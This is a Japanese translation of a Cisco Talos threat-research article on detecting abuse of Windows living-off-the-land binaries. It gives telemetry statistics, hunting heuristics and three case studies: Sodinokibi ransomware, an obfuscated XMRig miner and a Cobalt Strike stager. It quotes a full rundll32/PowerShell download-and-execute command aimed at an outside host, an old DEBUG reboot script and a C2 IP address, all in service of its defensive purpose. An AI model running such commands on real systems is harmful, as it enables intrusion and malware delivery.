Categories: 脅威リサーチ

LoLBin のハンティング

概要

攻撃者の傾向は刻々と変化しています。とは言え、現時点で盛んに利用されている手口を 1 つ挙げるなら、「LoLBin」(living off the land(環境寄生)バイナリ)の使用です。さまざまな攻撃者が、ファイルレスマルウェアや正当なクラウドサービスと組み合わせる形で LoLBin を使用しています。攻撃者の目的は、特にエクスプロイト後の攻撃フェーズにおいて、組織内で検出されない可能性を引き上げることです。

living off the land の戦術とは、すでにインストールされているツールを使用して、攻撃者が何らかの活動を実施することです。この場合、防御を担うメンバーにとっては攻撃の検出が困難になり、調査を担うメンバーにとっては攻撃者の特定が困難になります。Talos が目にしている攻撃では、攻撃対象者のオペレーティングシステムから提供され、通常であれば正当な目的に使用されるバイナリを攻撃者が不正に使用しています。

この記事では、シスコ製品のテレメトリというレンズを通して、LoLBin の利用の手口を見ていきます。また、不正使用されることが多い Windows システムバイナリを順を追って紹介し、LoLBin がどのように利用されているか、Cisco AMP for Endpoints から得られたデータを分析して評価します。

さらに、LoLBin が利用された最近のキャンペーンのいくつかについて概要を説明するとともに、悪意のある LoLBin アクティビティを検出する上での推奨事項を紹介します。

LoLBin とは

LoLBin とは、被害者のオペレーティングシステムから提供され、通常は正当な目的に使用される一方で、攻撃者によって不正利用される可能性もあるバイナリです。デフォルトのシステムバイナリには、想定外の副作用を持つものがいくつかあります。それらを攻撃者が利用すると、エクスプロイト後のアクティビティを隠蔽できてしまうおそれがあります。

LoLBin という概念は目新しいものではなく、標的は Windows に限定されません。攻撃者がエクスプロイトし得る実行ファイルは、DOS の初期のバージョンから Unix システムに至るまで、従来のほぼすべてのオペレーティングシステムに含まれています。

ここで、1980 年代半ばの事例を紹介しましょう。DOS のデフォルトデバッガである debug.com に、コンピュータのリブートによってマルウェア対策スキャナを回避し、悪意のあるコードを意図どおりに実行するバイナリコードがテキストで仕込まれています。

N SET.COM
A 100
MOV AX,0040
MOV DS,AX
MOV AX,1234
MOV [0072],AX
JMP F000:FFF0

 
RCX
10
W
Q

DerbyCon 3, Matthew Graeber and Christopher Campbell のプレゼンテーションでは、レッドチーム活動のために Windows のデフォルトバイナリを使用することの利点や、防御メカニズムを避けることのメリットを論じた上で、Windows に関する基準を打ち立てています。

この記事では、今日の Windows LoLBin と、その使用形態にも焦点を当てます。

全般的に言えば、攻撃者は LoLBin を次の目的で使用するおそれがあります。

  • 悪意のあるコードをダウンロードしてインストールする
  • 悪意のあるコードを実行する
  • UAC をバイパスする
  • WDAC などのアプリケーション制御をバイパスする

システムの製造元によって事前にインストールされていることが多く、偵察中に発見することが可能なその他のユーティリティも、攻撃者の標的になり得ます。そうした実行ファイルにされかねないのは、アップデータ、設定プログラム、各種のサードパーティ製ドライバなどの署名済みユーティリティです。

LoLBin は、往々にして、GitHub、Pastebin、Amazon S3 ストレージなどの正当なクラウドサービスや、Dropbox、Box、Google Drive などのクラウドドライブと組み合わせて使用されます。コマンドアンドコントロール(C2)のインフラストラクチャやデータの漏洩を狙う攻撃者のアクティビティは、正当なクラウドサービスを使用して悪意のあるコードが格納されている場合、未検出のままとなる可能性が高くなります。生成されるトラフィックには、侵害を受けていないシステムによって生成されるトラフィックとの相違点がないためです。

Talos が主に関心を寄せているのは、悪意のあるコードのダウンロードまたは実行に使用され得る実行ファイルを発見することです。Talos の調査では、不正使用を検出するため、次の実行ファイルについて日常の実行パターンをモニタリングしています。

  • powershell.exe
  • bitsadmin.exe
  • certutil.exe
  • psexec.exe
  • wmic.exe
  • mshta.exe
  • mofcomp.exe
  • cmstp.exe
  • windbg.exe
  • cdb.exe
  • msbuild.exe
  • csc.exe
  • regsvr32.exe

PowerShell の不正使用

 

昨今、悪意のあるコードのダウンロードやインメモリ実行がないかどうかを疑う最初の対象は、PowerShell です。攻撃者は、通例、Windows 管理フレームワークと .NET フレームワークが基盤になっているコマンドシェルを使用します。この強力な管理環境には、信頼できないコードの実行を防止できるセキュリティポリシーが適用されています。残念ながら、それはコマンドラインオプション 1 つで容易に迂回できてしまいます。

セキュリティポリシーをオプションによって迂回した上で PowerShell を実行する操作は、無条件でブロックすべきと主張する向きもあります。しかし、Chocolatey パッケージマネージャや一部のシステム管理ツールなど、前述のコマンドラインを使用する正当なツールも多く存在しているのです。

PowerShell のコードでは大文字と小文字が区別されず、コマンドラインオプションの短縮版は、オプションが曖昧でない限り受け付けられます。たとえば、-EncodedCommand は Base64 エンコードの文字列をパラメータとして受け付ける場合に指定するオプションですが、-EncodedC や -enc と記述して実行することもできるため、攻撃者はそうした形式で記述することが一般的です。

従来、Sodinokibi や Gandcrab といった代表的なマルウェアで使用されているのは、Windows API を使用することなく動的ライブラリをプロセスメモリにロードできるリフレクション DLL ローダーです。

多くの場合、Invoke-Obfuscation モジュールによって、ポリモーフィック型の難読化された派生モデルが生成されます。そうしたモデルは、ウイルス対策プログラムなどの防御メカニズムでは検出されません。

攻撃者は、PowerShell に攻撃の潜在能力があることにも目を付けるようになってきていて、数多くの実行ファイルを LoLBin として使用する動きを拡大しています。レッドチームによって使用される頻度がきわめて高いのが、Msbuild.exe と C# コンパイラである csc.exe です。どちらも、特定のシステム向けに作成された悪意のあるコードをダウンロード、ビルド、ロードする目的で頻繁に使用され、実行ファイルブロックリストには登録されません。

LoLBin の使用状況の評価

Talos は、Cisco AMP for Endpoints から提供されるテレメトリを分析して、LoLBin が不正使用される頻度を評価しました。安全なチャネルを使用して送信されるこのテレメトリには、呼び出されたプロセスの名前と、当該プロセスのファイルイメージの暗号化チェックサムが含まれています。この情報を利用して、ファイルのトラジェクトリを追跡し、プロセスの親子関係を確立することで、不正使用をハンティングできます。

Cisco AMP テレメトリのプロセス レトロスペクション グラフの例

このテレメトリデータは、新たな攻撃が発生した際に検出することを焦点としたものですが、どの程度の数の LoLBin 呼び出しが疑わしいのかを評価する目的にも利用できます。

Talos は、すぐに判定を下せるさまざまな LoLBin を対象として、確認を進めました。いずれのケースでも最悪のシナリオを想定し、URL がパラメータとして記述されている次のプロセスの呼び出しについては、すべて疑いありと判定しました。

  • mshta.exe
  • certutil.exe
  • bitsadmin.exe
  • regsvr32.exe
  • powershell.exe

疑わしいプロセス呼び出しの定義が厳密ではないため、誤検出率も相当に高くなります。たとえば、コマンドラインで URL が指定されている PowerShell 呼び出しの場合、当初に選択した呼び出しのうち、詳細に確認すべきであり悪意を持つ可能性が高いのは、わずか 7% にすぎないと推定されます。

疑わしい呼び出しの割合は、日常のデータポイントを数十億件単位でマイニングし、検出された疑わしい呼び出しの数を呼び出しの総数で除算して算出します。全体として、最悪のシナリオの場合、LoLBin の全呼び出しのうち少なくとも 99.8% は、それ以上調査するに値しないものです。

LoLBin と疑わしい呼び出しの比率

次に、疑わしい呼び出しをふるいにかけて、悪意を持つ可能性が高いものを発見します。

ここでも、PowerShell を使用して説明します。PowerShell のプロセスを実行したとき、疑わしいものは最悪でも 0.2% です。しかし、その中で実際に詳細な調査が欠かせないのは前述のとおり 7% にすぎず、比率は 0.014% まで低下します。したがって、PowerShell 呼び出しの 99.986% 以上は正当なものです。

悪意を持つ可能性が高い呼び出しに使用される URL を特定するには、大まかなルールとして、次の要素と組み合わされている LoLBin 呼び出しを探します。

  • 外部の数値 IP アドレス
  • トップレベルドメイン(TLD)が .net
  • TLD が .eu
  • TLD が .ru
  • 末尾が実行ファイルまたは画像の拡張子(.EXE、.LNK、.DLL、.JPG、.PNG など)になっている URL
  • com またはそのクローンへの参照
  • Github またはその他のソース コード リポジトリ サイトへの参照

レッドチームの活動

 

記録される疑わしい呼び出しの大半は攻撃者に由来するものとは言え、レッドチームの活動も浸透してきていることは注目に値します。こうした活動では、多くの場合、Red Canary の Atomic テストなどの敵対的なシミュレーション フレームワークをセキュリティチームと侵入テスト担当者が使用して、ATT&CK ナレッジベースで分類されているツール、技法、プロセスに対する組織の防御をテストします。

レッドチームツールによっては、Mimikatz などの代表的なツールのアクティビティを模倣するようにカスタマイズされているものがあります。ここでは、信頼できるドメインに悪意のあるコードを置くという敵対的な技法をエミュレートする目的で、GitHub 上にホスティングされているカスタムスクリプトの例を示します。

偽の Mimikatz モジュールで防御をテストするレッドチームのメンバー

LoLBin を使用する攻撃者のスキルレベル

このセクションでは、3 つのキャンペーンについて説明します。スキルセットの異なる 3 人の攻撃者によって、メモリ上のみで動作するコードが PowerShell と組み合わせる形で使用されています。これらのキャンペーンは、コマンドラインとそのオプションを分析することにより、内部のハンティングチームが比較的容易に検出できます。

ケース 1:一般的なランサムウェア

最初のケースで関係するのは、Sodinokibi ransomwareです。Sodinokibi はかなり一般的なランサムウェアであり、WebLogic などの Web フレームワークの脆弱性を突く形態に加え、フィッシングやエクスプロイトキットといった標準的な手法を使用する形態でも拡散されます。

テレメトリから窺えるのは、Pastebin の Web ページからダウンロードされたコードを評価する Invoke-Expression コマンドレットによって、PowerShell が起動されていることです。使用されている Net.WebClient.DownloadString 関数は、Web ページを文字列としてダウンロードし、メモリに保存するものです。

Sodinokibi による最初の PowerShell 呼び出し

 

ダウンロードされるコードは、無作為化された関数名を使用することで、パターンに基づいた単純な検出エンジンを回避しているリフレクティブ DLL ローダーです。ランサムウェアのペイロードは Base64 形式でエンコードされ、変数 $PEBytes32 に格納されています。注目に値するのは、Base64 形式の実行可能ペイロードであることが、先頭の 2 文字「TV」から即座にわかる点です。「TV」をデコードすると、PE32+ 実行ファイルの DOS 実行可能スタブの先頭に必ず付加される文字列「MZ」になります。

Sodinokibi のペイロードをロードするリフレクティブ DLL ローダー

 

Sodinokibi や Gandcrab はごく一般的な手口ですが、その背後に潜む攻撃者の技術が稚拙なわけではありません。既成の技法を利用してペイロードを拡散し、実行してはいるものの、スキルレベルは中級であることが見てとれます。

ケース 2:中級のマイナー

2 番目に紹介する攻撃者は、PowerShell の能力を利用してコードを難読化し、複数のレイヤにわたる難読化をメモリ内で解除して、暗号通貨マイニングペイロードのインストールと起動が実行される実際の PowerShell スクリプトとしていました。

最初の呼び出し難読化レイヤがデコードされている

 

Invoke-Obfuscation モジュールは、PowerShell の難読化に使用されることが少なくありません。次のレイヤのスクリプトコード全体を難読化するほか、Invoke-Expression(IEX)コマンドレットの呼び出しも隠蔽します。この例では、変数 $Env:COMSpec に「C:\Windows\System\cmd.exe」という文字列が保持されていて、文字列の 4 番目、15 番目、25 番目の文字を結合することで「iex」という文字列が形成されています。

この暗号通貨マイナーには 5 段階の難読化解除ステージがあり、最終のステージでは IEX の呼び出しが隠蔽されていました。その手口は、「*mdr*」をパラメータとして指定した「gv」(Get-Variable コマンドレット)を使用して変数 MaximumDriveCount の名前を取得し、その 3、11、2 番目の文字を選択して「iex」という文字列を形成するものでした。

MaximumDriveCount から抽出された「iex

ダウンロードされる PowerShell スクリプトには、Windows Defender、Malwarebytes、Sophos のウイルス対策ソフトウェアを無効にし、改変された XMRig 暗号通貨ペイロードをインストールして、モジュールをダウンロードする機能が記述されています。その目的は、メモリからユーザクレデンシャルを盗み出し、そのクレデンシャルを使用して、SMB または WMI 経由でハッシュ(Invoke-TheHash)を渡し、横方向への拡散を試みることです。

難読化が解除された暗号通貨マイナーローダー

 

ケース 3:ネットワークトラフィックに含まれる Cobalt Strike の隠蔽

 

最後のケーススタディでは、より高度な攻撃者のアクティビティを紹介します。この攻撃者は、Cobalt Strike フレームワークから取得した PowerShell ステージャによって、エクスプロイト後のアクティビティ用の Cobalt Strike ビーコンを使用しています。

テレメトリは、この攻撃で rundll32.exe とコマンドラインが不正使用され、JScript コードが起動されたことを示しています。コードによって Web ページがダウンロードされ、最初の PowerShell ステージャが呼び出されています。

rundll32.exe javascript:\\..\\mshtml,RunHTMLApplication 
;document.write();new%20ActiveXObject(WScript.Shell).Run(powershell -nop -exec bypass
 -c IEX (New-Object Net.WebClient).DownloadString('hxxps://stjohnplece.co/lll/webax.js');

 

最初の PowerShell ステージである webax.js は、誤認を誘うようなファイル名や拡張子とは裏腹に、2 番目のステージの PowerShell コードを圧縮解除するものとなっています。このコードは、最初のシェルコードステージをメモリにロードし、標準的な jQuery JavaScript ライブラリであるかのように見えるエンティティのダウンロード用リクエストを生成します。

Cobalt Strike PowerShell ステージャ

このシェルコードは、IP アドレス 134.209.176.24 に対する HTTP GET リクエストを生成していますが、ヘッダーフィールドでは、jQuery を提供する正当なホストである code.jquery.com が参照先ホストとして示されています。この手法によって、一部の自動化された実行環境は上手くバイパスされてしまうと考えられます。環境を分析すると、悪意のある IP アドレスではなく、正当なホストにリクエストが送信されたという結果が示されます。

偽のホストフィールドが記述されている HTTP ヘッダー

ダウンロードされた悪意のある jQuery には、4,015 バイトを占める先頭部分の実際の jQuery コードに続いて、難読化された Cobalt Strike ビーコンが記述されています。このビーコンは、静的な XOR キーを使用して難読化が解除され、リフレクティブロードの技法を使用してメモリにロードされます。

悪意のある jQuery および Cobalt Strike ペイロードの先頭と末尾

この悪意のある jQuery は、末尾が 1,520 バイトの実際の jQuery コードとなっています。おそらくは、リクエストの先頭と末尾をスキャンするウイルス対策スキャナを回避するためです。

この手法は、jQuery ライブラリの中にバイナリペイロードを隠蔽し、悪意のある IP アドレスの検出を回避するものです。したがって、運用上のセキュリティを著しく侵害する、より高度な攻撃者と対峙していることがわかります。

LoLBin の使用を重点としている攻撃者のタイプを 1 つに特定することは、総じて不可能です。LoLBin は、高度な攻撃者のみがこれまで使用してきたと言えるものの、今日では、ランサムウェアや暗号通貨マイナーなど、悪意のある一般的なコードを駆使する攻撃者にも使用されています。

LoLBin の不正使用の検出と防止

LoLBin は、ファイルを使用しないコードと組み合わせる形で不正使用されている場合、プロセスの挙動をモニタリングしないセキュリティコントロールで保護することは困難です。このような不正使用は、起動されるプロセスの親子関係と、ネットワーク通信とは通常関係しない異常なネットワークアクティビティに基づいて検出できます。

組織のシステムには、ハンティングチームが詳細な分析を実施できるよう、一元的なロギングを設定することをお勧めします。バージョン 5 以降の PowerShell では、実行されるすべてのコードブロックを Windows イベントログに記録するように設定することも可能です。そのように設定すると、実行前に難読化を解除しなければならない難読化済みコードをセキュリティチームのメンバーが把握できます。難読化が解除されたコードの実行は、Windows イベントログで確認することが可能になります。

ただし、実現し得る最高の保護は、Windows Defender アプリケーション コントロールなどのメカニズムを使用して LoLBin の実行を拒否することです。Microsoft 社が作成したポリシーブロックファイルを利用すると、保護対象のシステムで必要とされていない LoLBin の実行がブロックされます。

LoLBin は正当なプロセスでも必要となるため、残念ながら、すべてブロックすることは大半の環境で不可能です。

まとめ

Talos による調査からわかるのは、汎用品と化しているマルウェアから、標的を絞り込んだ攻撃に至るまで、さまざまな技法を多種多様な攻撃者がアクティビティに採り入れ、LoLBin を使用していることです。ただし、悪意のある使用が全体に占める割合はきわめて低く(0.2% 以下)、LoLBin のすべての呼び出しをブロックするほどの水準ではありません。

しかしながら、ブルーチームのメンバーは、LoLBin を常に念頭に置きながら、ハンティング活動を定期的に実施する必要があります。LoLBin が効果的に使用された場合、攻撃者は、それらの LoLBin を駆使して攻撃のトレースを困難にしたり、侵害されたマシン上でのマルウェアの活動期間を延ばしたりすることが可能になるのです。

カバレッジ

Cisco AMP for Endpoints などのエンドポイントの検出および対応ツール(EDR)を使用することをお勧めします。これにより、プロセスの呼び出しを追跡し、プロセスを検査できます。こちらから Cisco AMP を無料でお試しいただけます。

今回の脅威は、以下の製品で検出してブロックすることも可能です。

Cisco クラウド Web セキュリティ(CWS)または Web セキュリティ アプライアンス(WSA)の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、これらの攻撃で使用されるマルウェアを検出します。

電子メール セキュリティは、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。

次世代ファイアウォール(NGFW)、次世代侵入防止システム(NGIPS)、およびMeraki MX などのネットワーク セキュリティ アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を埋め込みます。

シスコのセキュア インターネット ゲートウェイ(SIG)である Umbrella は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。

特定の環境および脅威データに対する追加の保護は、Firepower Management Center から入手できます。

オープン ソースの SNORT サブスクライバ ルール セットをお使いであれば、Snort.org で購入可能な最新のルール パックをダウンロードすることで、システムを最新状態に維持できます。

IOC(侵入の痕跡)

Sodinokibi

dc3de6cff67f4bcb360d9fdd0fd5bd0d6afca0e1518171b8e364bb64c5446bb1
dc788044ba918463ddea34c1128c9f4da56e0778e582ae9abdeb15fdbcc57e80

XMRig 関連

4528341b513fb216e06899a24d3560b89636158432ba7a0a118caa992739690e
c4ef0e90f81bac29899070d872e9ddea4531dbb5a18cdae090c19260cb0d4d83
e0ffda3353a17f5c9b7ef1d9c51f7dc1dcece1dfa2bcc8e1c93c27e5dde3b468
3f8d2e37a2bd83073e61ad4fc55536007076ae59a774b5d0c194a2bfab176172
92f0a4e2b7f4fe9d4ea373e63d9b08f4c2f21b2fd6532226c3fd576647efd64a
ebb7d224017d72d9f7462db541ac3dde38d2e7ecebfc9dca52b929373793590

Cobalt Strike ステージャ

522b99b5314531af6658e01ab471e1a7e0a5aa3a6ec100671dcfa0a6b0a1f52d
4c1a9ba633f739434cc81f23de9c6c1c12cdeacd985b96404a4c2bae2e54b0f5
f09d5ca3dfc53c1a6b61227646241847c5621b55f72ca9284f85abf5d0f06d35

本稿は 2019年11月13日に Talos Group のブログに投稿された「Hunting for LoLBins」の抄訳です。

TALOS Japan

Talos は、ネットワーク脅威の専門家集団です。Talos が提供する脅威インテリジェンスの情報は、既知および未知の脅威からお客様のネットワークを保護するためにシスコのセキュリティ製品によって活用されています。